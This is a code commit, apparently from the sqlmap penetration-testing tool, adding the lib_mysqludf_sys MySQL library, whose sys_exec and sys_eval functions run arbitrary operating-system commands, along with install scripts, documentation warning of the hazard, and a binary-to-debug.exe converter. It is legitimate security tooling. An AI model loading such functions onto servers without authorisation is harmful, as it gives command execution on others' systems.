print 'ERROR: the provided input file \'%s\' is not a regular file' % inputFile
sys.exit(1)
script = convert(inputFile)
if outputFile:
fpOut = open(outputFile, 'w')
sys.stdout = fpOut
sys.stdout.write(script)
sys.stdout.close()
else:
print script
if __name__ == '__main__':
usage = '%s -i <input file> [-o <output file>]' % sys.argv[0]
parser = OptionParser(usage=usage, version='0.1')
try:
parser.add_option('-i', dest='inputFile', help='Input binary file')
parser.add_option('-o', dest='outputFile', help='Output debug.exe text file')
(args, _) = parser.parse_args()
if not args.inputFile:
parser.error('Missing the input file, -h for help')
except (OptionError, TypeError), e:
parser.error(e)
inputFile = args.inputFile
outputFile = args.outputFile
main(inputFile, outputFile)

View File

@@ -2,10 +2,9 @@ To use Metasploit's sqlmap auxiliary module launch msfconsole and follow
the example below.
Note that if you are willing to run Metasploit's sqlmap auxiliary module on
Metasploit Framework 3.0 or 3.1 you first need to copy wmap_sqlmap.rb to
your <msf3 root path>/modules/auxiliary/scanner/http/ folder then launch
msfconsole because this module has been officially integrated in Metasploit
from the release 3.2.
through WMAP framework you first need to install sqlmap on your system or
add its file system path to the PATH environment variable.
$ ./msfconsole
@@ -77,3 +76,7 @@ SQLMAP: [*] shutting down at: 16:23:21
SQLMAP:
[*] Auxiliary module execution completed
msf auxiliary(wmap_sqlmap) >
Happy hacking!
Bernardo Damele A. G. <bernardo.damele@gmail.com>

View File

@@ -0,0 +1,4 @@
LIBDIR=/usr/lib
install:
gcc -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o $(LIBDIR)/lib_mysqludf_sys.so

View File

@@ -0,0 +1,43 @@
#!/bin/bash
# lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
# Copyright (C) 2007 Roland Bouman
# Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
# web: http://www.mysqludf.org/
# email: mysqludfs@gmail.com, bernardo.damele@gmail.com
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
echo "Compiling the MySQL UDF"
make
if test $? -ne 0; then
echo "ERROR: You need libmysqlclient development software installed "
echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
echo "apt-get install libmysqlclient15-dev"
exit 1
else
echo "MySQL UDF compiled successfully"
fi
echo -e "\nPlease provide your MySQL root password"
mysql -u root -p mysql < lib_mysqludf_sys.sql
if test $? -ne 0; then
echo "ERROR: unable to install the UDF"
exit 1
else
echo "MySQL UDF installed successfully"
fi

View File

@@ -0,0 +1,426 @@
/*
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2007 Roland Bouman
Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
web: http://www.mysqludf.org/
email: mysqludfs@gmail.com, bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
#define DLLEXP __declspec(dllexport)
#else
#define DLLEXP
#endif
#ifdef STANDARD
#include <string.h>
#include <stdlib.h>
#include <time.h>
#ifdef __WIN__
typedef unsigned __int64 ulonglong;
typedef __int64 longlong;
#else
typedef unsigned long long ulonglong;
typedef long long longlong;
#endif /*__WIN__*/
#else
#include <my_global.h>
#include <my_sys.h>
#endif
#include <mysql.h>
#include <m_ctype.h>
#include <m_string.h>
#include <stdlib.h>
#include <ctype.h>
#ifdef HAVE_DLOPEN
#ifdef __cplusplus
extern "C" {
#endif
#define LIBVERSION "lib_mysqludf_sys version 0.0.3"
#ifdef __WIN__
#define SETENV(name,value) SetEnvironmentVariable(name,value);
#else
#define SETENV(name,value) setenv(name,value,1);
#endif
DLLEXP
my_bool lib_mysqludf_sys_info_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void lib_mysqludf_sys_info_deinit(
UDF_INIT *initid
);
DLLEXP
char* lib_mysqludf_sys_info(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
);
/**
* sys_get
*
* Gets the value of the specified environment variable.
*/
DLLEXP
my_bool sys_get_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void sys_get_deinit(
UDF_INIT *initid
);
DLLEXP
char* sys_get(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
);
/**
* sys_set
*
* Sets the value of the environment variables.
* This function accepts a set of name/value pairs
* which are then set as environment variables.
* Use sys_get to retrieve the value of such a variable
*/
DLLEXP
my_bool sys_set_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void sys_set_deinit(
UDF_INIT *initid
);
DLLEXP
long long sys_set(
UDF_INIT *initid
, UDF_ARGS *args
, char *is_null
, char *error
);
/**
* sys_exec
*
* executes the argument commandstring and returns its exit status.
* Beware that this can be a security hazard.
*/
DLLEXP
my_bool sys_exec_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void sys_exec_deinit(
UDF_INIT *initid
);
DLLEXP
my_ulonglong sys_exec(
UDF_INIT *initid
, UDF_ARGS *args
, char *is_null
, char *error
);
/**
* sys_eval
*
* executes the argument commandstring and returns its standard output.
* Beware that this can be a security hazard.
*/
DLLEXP
my_bool sys_eval_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void sys_eval_deinit(
UDF_INIT *initid
);
DLLEXP
char* sys_eval(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
);
#ifdef __cplusplus
}
#endif
/**
* lib_mysqludf_sys_info
*/
my_bool lib_mysqludf_sys_info_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
my_bool status;
if(args->arg_count!=0){
strcpy(
message
, "No arguments allowed (udf: lib_mysqludf_sys_info)"
);
status = 1;
} else {
status = 0;
}
return status;
}
void lib_mysqludf_sys_info_deinit(
UDF_INIT *initid
){
}
char* lib_mysqludf_sys_info(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
){
strcpy(result,LIBVERSION);
*length = strlen(LIBVERSION);
return result;
}
my_bool sys_get_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
if(args->arg_count==1
&& args->arg_type[0]==STRING_RESULT){
initid->maybe_null = 1;
return 0;
} else {
strcpy(
message
, "Expected exactly one string type parameter"
);
return 1;
}
}
void sys_get_deinit(
UDF_INIT *initid
){
}
char* sys_get(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
){
char* value = getenv(args->args[0]);
if(value == NULL){
*is_null = 1;
} else {
*length = strlen(value);
}
return value;
}
my_bool sys_set_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
if(args->arg_count!=2){
strcpy(
message
, "Expected exactly two arguments"
);
return 1;
}
if(args->arg_type[0]!=STRING_RESULT){
strcpy(
message
, "Expected string type for name parameter"
);
return 1;
}
args->arg_type[1]=STRING_RESULT;
if((initid->ptr=malloc(
args->lengths[0]
+ 1
+ args->lengths[1]
+ 1
))==NULL){
strcpy(
message
, "Could not allocate memory"
);
return 1;
}
return 0;
}
void sys_set_deinit(
UDF_INIT *initid
){
if (initid->ptr!=NULL){
free(initid->ptr);
}
}
long long sys_set(
UDF_INIT *initid
, UDF_ARGS *args
, char *is_null
, char *error
){
char *name = initid->ptr;
char *value = name + args->lengths[0] + 1;
memcpy(
name
, args->args[0]
, args->lengths[0]
);
*(name + args->lengths[0]) = '\0';
memcpy(
value
, args->args[1]
, args->lengths[1]
);
*(value + args->lengths[1]) = '\0';
return SETENV(name,value);
}
my_bool sys_exec_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
unsigned int i=0;
if(args->arg_count == 1
&& args->arg_type[i]==STRING_RESULT){
return 0;
} else {
strcpy(
message
, "Expected exactly one string type parameter"
);
return 1;
}
}
void sys_exec_deinit(
UDF_INIT *initid
){
}
my_ulonglong sys_exec(
UDF_INIT *initid
, UDF_ARGS *args
, char *is_null
, char *error
){
return system(args->args[0]);
}
my_bool sys_eval_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
unsigned int i=0;
if(args->arg_count == 1
&& args->arg_type[i]==STRING_RESULT){
return 0;
} else {
strcpy(
message
, "Expected exactly one string type parameter"
);
return 1;
}
}
void sys_eval_deinit(
UDF_INIT *initid
){
}
char* sys_eval(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
){
FILE *pipe;
char line[1024];
unsigned long outlen, linelen;
result = malloc(1);
outlen = 0;
pipe = popen(args->args[0], "r");
while (fgets(line, sizeof(line), pipe) != NULL) {
linelen = strlen(line);
result = realloc(result, outlen + linelen);
strncpy(result + outlen, line, linelen);
outlen = outlen + linelen;
}
pclose(pipe);
if (!(*result) || result == NULL) {
*is_null = 1;
} else {
result[outlen] = 0x00;
*length = strlen(result);
}
return result;
}
#endif /* HAVE_DLOPEN */

View File

@@ -0,0 +1,278 @@
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<link rel="stylesheet" type="text/css" href="../mysqludf.css"/>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>lib_mysqludf_sys - A library of MySQL UDFs for working with the environment in which MySQL runs</title>
</head>
<body>
<div>
<a href="../index.html">Top</a>
| <a href="../mysql_udf_repository_libraries.html">Up</a>
</div>
<h1>lib_mysqludf_sys</h1>
<div>
<a href="lib_mysqludf_sys.html">Documentation</a>
| <a href="lib_mysqludf_sys.so">Binary</a>
| <a href="lib_mysqludf_sys.sql">Installation</a>
| <a href="lib_mysqludf_sys.c">Source</a>
| <a href="lib_mysqludf_sys_0.0.2.tar.gz">tar.gz</a>
</div>
<p>
This library <code>lib_mysqludf_sys</code> contains a number of functions that allows one to interact with the operating system.
</p>
<ol>
<li><a href="#sys_eval"><code>sys_eval</code></a> - executes an arbitrary command, and returns it's output.</li>
<li><a href="#sys_exec"><code>sys_exec</code></a> - executes an arbitrary command, and returns it's exit code.</li>
<li><a href="#sys_get"><code>sys_get</code></a> - gets the value of an environment variable.</li>
<li><a href="#sys_set"><code>sys_set</code></a> - create an environment variable, or update the value of an existing environment variable.</li>
</ol>
<p>
Use <a href="#lib_mysqludf_sys_info"><code>lib_mysqludf_sys_info()</code></a> to obtain information about the currently installed version of <code>lib_mysqludf_sys</code>.
</p>
<a name="sys_eval"></a><h2>sys_eval</h2>
<p>
<code>sys_eval</code> takes one command string argument and executes it, returning its output.
</p>
<h3>Syntax</h3>
<pre>sys_eval(<b>arg1</b>)</pre>
<h3>Parameters and Return Values</h3>
<dl>
<dt><code><b>arg1</b></code></dt>
<dd>
A command string valid for the current operating system or execution environment.
</dd>
<dt>returns</dt>
<dd>
Whatever output the command pushed to the standard output stream.
</dd>
</dl>
<h3>Installation</h3>
<p>
Place the shared library binary in an appropriate location.
Log in to mysql as root or as another user with sufficient privileges, and select any database.
Then, create the function using the following DDL statement:
</p>
<pre>
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
</pre>
<p>
The function will be globally available in all databases.
</p>
<p>
The deinstall the function, run the following statement:
</p>
<pre>
DROP FUNCTION sys_eval;
</pre>
<h3>Examples</h3>
<p>
None yet
</p>
<h3>A Note of Caution</h3>
<p>
Be very careful in deciding whether you need this function.
UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
As the commandstring passed to <code>sys_exec</code> can do pretty much everything,
exposing the function poses a very real security hazard.
</p>
<p>
Even for a benign user, it is possible to accidentally do a lot of damage with it.
The call will be executed with the privileges of the os user that runs MySQL,
so it is entirely feasible to delete MySQL's data directory, or worse.
</p>
<p>
The function is intended for specialized MySQL applications where one needs extended
control over the operating system.
Currently, we do not have UDF's for ftp, email and http,
and this function can be used to implement such functionality in case it is really necessary
(datawarehouse staging areas could be a case in example).
</p>
<p>
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
</p>
<p>
If you do decide to use this library in a production environment, make sure that only specific commands can be run and file access is limited by using <a href="http://www.novell.com/documentation/apparmor/index.html">AppArmor</a>.
</p>
<a name="sys_exec"></a><h2>sys_exec</h2>
<p>
<code>sys_exec</code> takes one command string argument and executes it.
</p>
<h3>Syntax</h3>
<pre>sys_exec(<b>arg1</b>)</pre>
<h3>Parameters and Return Values</h3>
<dl>
<dt><code><b>arg1</b></code></dt>
<dd>
A command string valid for the current operating system or execution environment.
</dd>
<dt>returns</dt>
<dd>
An (integer) exit code returned by the executed process.
</dd>
</dl>
<h3>Installation</h3>
<p>
Place the shared library binary in an appropriate location.
Log in to mysql as root or as another user with sufficient privileges, and select any database.
Then, create the function using the following DDL statement:
</p>
<pre>
CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so';
</pre>
<p>
The function will be globally available in all databases.
</p>
<p>
The deinstall the function, run the following statement:
</p>
<pre>
DROP FUNCTION sys_exec;
</pre>
<h3>Examples</h3>
<p>
None yet
</p>
<h3>A Note of Caution</h3>
<p>
Be very careful in deciding whether you need this function.
UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
As the commandstring passed to <code>sys_exec</code> can do pretty much everything,
exposing the function poses a very real security hazard.
</p>
<p>
Even for a benign user, it is possible to accidentally do a lot of damage with it.
The call will be executed with the privileges of the os user that runs MySQL,
so it is entirely feasible to delete MySQL's data directory, or worse.
</p>
<p>
The function is intended for specialized MySQL applications where one needs extended
control over the operating system.
Currently, we do not have UDF's for ftp, email and http,
and this function can be used to implement such functionality in case it is really necessary
(datawarehouse staging areas could be a case in example).
</p>
<p>
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
</p>
<p>
If you do decide to use this library in a production environment, make sure that only specific commands can be run and file access is limited by using <a href="http://www.novell.com/documentation/apparmor/index.html">AppArmor</a>.
</p>
<a name="sys_get"></a><h2>sys_get</h2>
<p>
<code>sys_get</code> takes the name of an environment variable and returns the value of the variable.
</p>
<h3>Syntax</h3>
<pre>sys_get([<b>arg1</b>)</pre>
<h3>Parameters and Return Values</h3>
<dl>
<dt><code><b>arg1</b></code></dt>
<dd>
A string that denotes the name of an environment value.
</dd>
<dt>returns</dt>
<dd>
If the variable exists, a string containing the value of the environment variable.
If the variable does not exist, the function return NULL.
</dd>
</dl>
<h3>Installation</h3>
<p>
Place the shared library binary in an appropriate location.
Log in to mysql as root or as another user with sufficient privileges, and select any database.
Then, create the function using the following DDL statement:
</p>
<pre>
CREATE FUNCTION sys_get RETURNS STRING SONAME 'lib_mysqludf_sys.so';
</pre>
<p>
The function will be globally available in all databases.
</p>
<p>
The deinstall the function, run the following statement:
</p>
<pre>
DROP FUNCTION sys_get;
</pre>
<h3>Examples</h3>
<p>
None yet
</p>
<h3>A Note of Caution</h3>
<p>
Be very careful in deciding whether you need this function.
UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
The variables known in the environment where mysql runs are freely accessible using this function.
Any user can get access to potentially secret information, such as
the user that is running mysqld, the path of the user's home directory etc.
</p>
<p>
The function is intended for specialized MySQL applications where one needs extended
control over the operating system.
</p>
<p>
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
</p>
<a name="sys_set"></a><h2>sys_set</h2>
<p>
<code>sys_get</code> takes the name of an environment variable and returns the value of the variable.
</p>
<h3>Syntax</h3>
<pre>sys_set([<b>arg1, arg2</b>)</pre>
<h3>Parameters and Return Values</h3>
<dl>
<dt><code><b>arg1</b></code></dt>
<dd>
A string that denotes the name of an environment value.
</dd>
<dt><code><b>arg2</b></code></dt>
<dd>
An expression that contains the value that is to be assigned to the environment variable.
</dd>
<dt>returns</dt>
<dd>
0 if the assignment or creation succeed.
non-zero otherwise.
</dd>
</dl>
<h3>Installation</h3>
<p>
Place the shared library binary in an appropriate location.
Log in to mysql as root or as another user with sufficient privileges, and select any database.
Then, create the function using the following DDL statement:
</p>
<pre>
CREATE FUNCTION sys_set RETURNS STRING SONAME 'lib_mysqludf_sys.so';
</pre>
<p>
The function will be globally available in all databases.
</p>
<p>
The deinstall the function, run the following statement:
</p>
<pre>
DROP FUNCTION sys_set;
</pre>
<h3>Examples</h3>
<p>
None yet
</p>
<h3>A Note of Caution</h3>
<p>
Be very careful in deciding whether you need this function.
UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
This function will overwrite existing environment variables.
</p>
<p>
The function is intended for specialized MySQL applications where one needs extended
control over the operating system.
</p>
<p>
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
</p>
</body>
</html

Binary file not shown.

View File

@@ -0,0 +1,33 @@
/*
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2007 Roland Bouman
Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
web: http://www.mysqludf.org/
email: roland.bouman@gmail.com, bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;
DROP FUNCTION IF EXISTS sys_get;
DROP FUNCTION IF EXISTS sys_set;
DROP FUNCTION IF EXISTS sys_exec;
DROP FUNCTION IF EXISTS sys_eval;
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';

View File

@@ -0,0 +1,354 @@
diff -uN lib_mysqludf_sys_0.0.2/install.sh lib_mysqludf_sys/install.sh
--- lib_mysqludf_sys_0.0.2/install.sh 1970-01-01 01:00:00.000000000 +0100
+++ lib_mysqludf_sys/install.sh 2009-01-21 00:51:52.000000000 +0000
@@ -0,0 +1,43 @@
+#!/bin/bash
+# lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
+# Copyright (C) 2007 Roland Bouman
+# Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
+# web: http://www.mysqludf.org/
+# email: mysqludfs@gmail.com, bernardo.damele@gmail.com
+#
+# This library is free software; you can redistribute it and/or
+# modify it under the terms of the GNU Lesser General Public
+# License as published by the Free Software Foundation; either
+# version 2.1 of the License, or (at your option) any later version.
+#
+# This library is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+# Lesser General Public License for more details.
+#
+# You should have received a copy of the GNU Lesser General Public
+# License along with this library; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+
+echo "Compiling the MySQL UDF"
+make
+
+if test $? -ne 0; then
+ echo "ERROR: You need libmysqlclient development software installed "
+ echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
+ echo "apt-get install libmysqlclient15-dev"
+ exit 1
+else
+ echo "MySQL UDF compiled successfully"
+fi
+
+echo -e "\nPlease provide your MySQL root password"
+
+mysql -u root -p mysql < lib_mysqludf_sys.sql
+
+if test $? -ne 0; then
+ echo "ERROR: unable to install the UDF"
+ exit 1
+else
+ echo "MySQL UDF installed successfully"
+fi
Binary files lib_mysqludf_sys_0.0.2/lib_mysqludf_sys_0.0.2.tar.gz and lib_mysqludf_sys/lib_mysqludf_sys_0.0.2.tar.gz differ
diff -uN lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.c lib_mysqludf_sys/lib_mysqludf_sys.c
--- lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.c 2009-01-22 12:01:55.000000000 +0000
+++ lib_mysqludf_sys/lib_mysqludf_sys.c 2009-01-21 00:06:13.000000000 +0000
@@ -1,8 +1,9 @@
/*
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2007 Roland Bouman
- web: http://www.xcdsql.org/MySQL/UDF/
- email: mysqludfs@gmail.com
+ Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
+ web: http://www.mysqludf.org/
+ email: mysqludfs@gmail.com, bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
@@ -51,7 +52,7 @@
extern "C" {
#endif
-#define LIBVERSION "lib_mysqludf_sys version 0.0.2"
+#define LIBVERSION "lib_mysqludf_sys version 0.0.3"
#ifdef __WIN__
#define SETENV(name,value) SetEnvironmentVariable(name,value);
@@ -139,7 +140,7 @@
/**
* sys_exec
*
- * executes the argument commandstring.
+ * executes the argument commandstring and returns its exit status.
* Beware that this can be a security hazard.
*/
DLLEXP
@@ -162,6 +163,34 @@
, char *error
);
+/**
+ * sys_eval
+ *
+ * executes the argument commandstring and returns its standard output.
+ * Beware that this can be a security hazard.
+ */
+DLLEXP
+my_bool sys_eval_init(
+ UDF_INIT *initid
+, UDF_ARGS *args
+, char *message
+);
+
+DLLEXP
+void sys_eval_deinit(
+ UDF_INIT *initid
+);
+
+DLLEXP
+char* sys_eval(
+ UDF_INIT *initid
+, UDF_ARGS *args
+, char* result
+, unsigned long* length
+, char *is_null
+, char *error
+);
+
#ifdef __cplusplus
}
@@ -336,5 +365,62 @@
return system(args->args[0]);
}
+my_bool sys_eval_init(
+ UDF_INIT *initid
+, UDF_ARGS *args
+, char *message
+){
+ unsigned int i=0;
+ if(args->arg_count == 1
+ && args->arg_type[i]==STRING_RESULT){
+ return 0;
+ } else {
+ strcpy(
+ message
+ , "Expected exactly one string type parameter"
+ );
+ return 1;
+ }
+}
+void sys_eval_deinit(
+ UDF_INIT *initid
+){
+}
+char* sys_eval(
+ UDF_INIT *initid
+, UDF_ARGS *args
+, char* result
+, unsigned long* length
+, char *is_null
+, char *error
+){
+ FILE *pipe;
+ char line[1024];
+ unsigned long outlen, linelen;
+
+ result = malloc(1);
+ outlen = 0;
+
+ pipe = popen(args->args[0], "r");
+
+ while (fgets(line, sizeof(line), pipe) != NULL) {
+ linelen = strlen(line);
+ result = realloc(result, outlen + linelen);
+ strncpy(result + outlen, line, linelen);
+ outlen = outlen + linelen;
+ }
+
+ pclose(pipe);
+
+ if (!(*result) || result == NULL) {
+ *is_null = 1;
+ } else {
+ result[outlen] = 0x00;
+ *length = strlen(result);
+ }
+
+ return result;
+}
+
#endif /* HAVE_DLOPEN */
diff -uN lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.html lib_mysqludf_sys/lib_mysqludf_sys.html
--- lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.html 2009-01-22 12:01:55.000000000 +0000
+++ lib_mysqludf_sys/lib_mysqludf_sys.html 2009-01-22 10:21:46.000000000 +0000
@@ -23,7 +23,8 @@
This library <code>lib_mysqludf_sys</code> contains a number of functions that allows one to interact with the operating system.
</p>
<ol>
- <li><a href="#sys_exec"><code>sys_exec</code></a> - executes an arbitrary command, and can thus be used to launch an external application.</li>
+ <li><a href="#sys_eval"><code>sys_eval</code></a> - executes an arbitrary command, and returns it's output.</li>
+ <li><a href="#sys_exec"><code>sys_exec</code></a> - executes an arbitrary command, and returns it's exit code.</li>
<li><a href="#sys_get"><code>sys_get</code></a> - gets the value of an environment variable.</li>
<li><a href="#sys_set"><code>sys_set</code></a> - create an environment variable, or update the value of an existing environment variable.</li>
</ol>
@@ -31,6 +32,72 @@
Use <a href="#lib_mysqludf_sys_info"><code>lib_mysqludf_sys_info()</code></a> to obtain information about the currently installed version of <code>lib_mysqludf_sys</code>.
</p>
+
+ <a name="sys_eval"></a><h2>sys_eval</h2>
+ <p>
+ <code>sys_eval</code> takes one command string argument and executes it, returning its output.
+ </p>
+ <h3>Syntax</h3>
+<pre>sys_eval(<b>arg1</b>)</pre>
+ <h3>Parameters and Return Values</h3>
+ <dl>
+ <dt><code><b>arg1</b></code></dt>
+ <dd>
+ A command string valid for the current operating system or execution environment.
+ </dd>
+ <dt>returns</dt>
+ <dd>
+ Whatever output the command pushed to the standard output stream.
+ </dd>
+ </dl>
+ <h3>Installation</h3>
+ <p>
+ Place the shared library binary in an appropriate location.
+ Log in to mysql as root or as another user with sufficient privileges, and select any database.
+ Then, create the function using the following DDL statement:
+ </p>
+ <pre>
+CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
+ </pre>
+ <p>
+ The function will be globally available in all databases.
+ </p>
+ <p>
+ The deinstall the function, run the following statement:
+ </p>
+ <pre>
+DROP FUNCTION sys_eval;
+ </pre>
+ <h3>Examples</h3>
+ <p>
+ None yet
+ </p>
+ <h3>A Note of Caution</h3>
+ <p>
+ Be very careful in deciding whether you need this function.
+ UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
+ As the commandstring passed to <code>sys_exec</code> can do pretty much everything,
+ exposing the function poses a very real security hazard.
+ </p>
+ <p>
+ Even for a benign user, it is possible to accidentally do a lot of damage with it.
+ The call will be executed with the privileges of the os user that runs MySQL,
+ so it is entirely feasible to delete MySQL's data directory, or worse.
+ </p>
+ <p>
+ The function is intended for specialized MySQL applications where one needs extended
+ control over the operating system.
+ Currently, we do not have UDF's for ftp, email and http,
+ and this function can be used to implement such functionality in case it is really necessary
+ (datawarehouse staging areas could be a case in example).
+ </p>
+ <p>
+ You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
+ </p>
+ <p>
+ If you do decide to use this library in a production environment, make sure that only specific commands can be run and file access is limited by using <a href="http://www.novell.com/documentation/apparmor/index.html">AppArmor</a>.
+ </p>
+
<a name="sys_exec"></a><h2>sys_exec</h2>
<p>
<code>sys_exec</code> takes one command string argument and executes it.
@@ -92,6 +159,9 @@
<p>
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
</p>
+ <p>
+ If you do decide to use this library in a production environment, make sure that only specific commands can be run and file access is limited by using <a href="http://www.novell.com/documentation/apparmor/index.html">AppArmor</a>.
+ </p>
<a name="sys_get"></a><h2>sys_get</h2>
<p>
<code>sys_get</code> takes the name of an environment variable and returns the value of the variable.
Binary files lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.so and lib_mysqludf_sys/lib_mysqludf_sys.so differ
diff -uN lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.sql lib_mysqludf_sys/lib_mysqludf_sys.sql
--- lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.sql 2009-01-22 12:01:55.000000000 +0000
+++ lib_mysqludf_sys/lib_mysqludf_sys.sql 2009-01-22 10:21:53.000000000 +0000
@@ -1,30 +1,33 @@
-/*
- lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
- Copyright (C) 2007 Roland Bouman
- web: http://www.xcdsql.org/MySQL/UDF/
- email: mysqludfs@gmail.com
-
- This library is free software; you can redistribute it and/or
- modify it under the terms of the GNU Lesser General Public
- License as published by the Free Software Foundation; either
- version 2.1 of the License, or (at your option) any later version.
-
- This library is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
- Lesser General Public License for more details.
-
- You should have received a copy of the GNU Lesser General Public
- License along with this library; if not, write to the Free Software
- Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+/*
+ lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
+ Copyright (C) 2007 Roland Bouman
+ Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
+ web: http://www.mysqludf.org/
+ email: roland.bouman@gmail.com, bernardo.damele@gmail.com
+
+ This library is free software; you can redistribute it and/or
+ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+ version 2.1 of the License, or (at your option) any later version.
+
+ This library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ Lesser General Public License for more details.
+
+ You should have received a copy of the GNU Lesser General Public
+ License along with this library; if not, write to the Free Software
+ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
-drop function lib_mysqludf_sys_info;
-drop function sys_get;
-drop function sys_set;
-drop function sys_exec;
+DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;
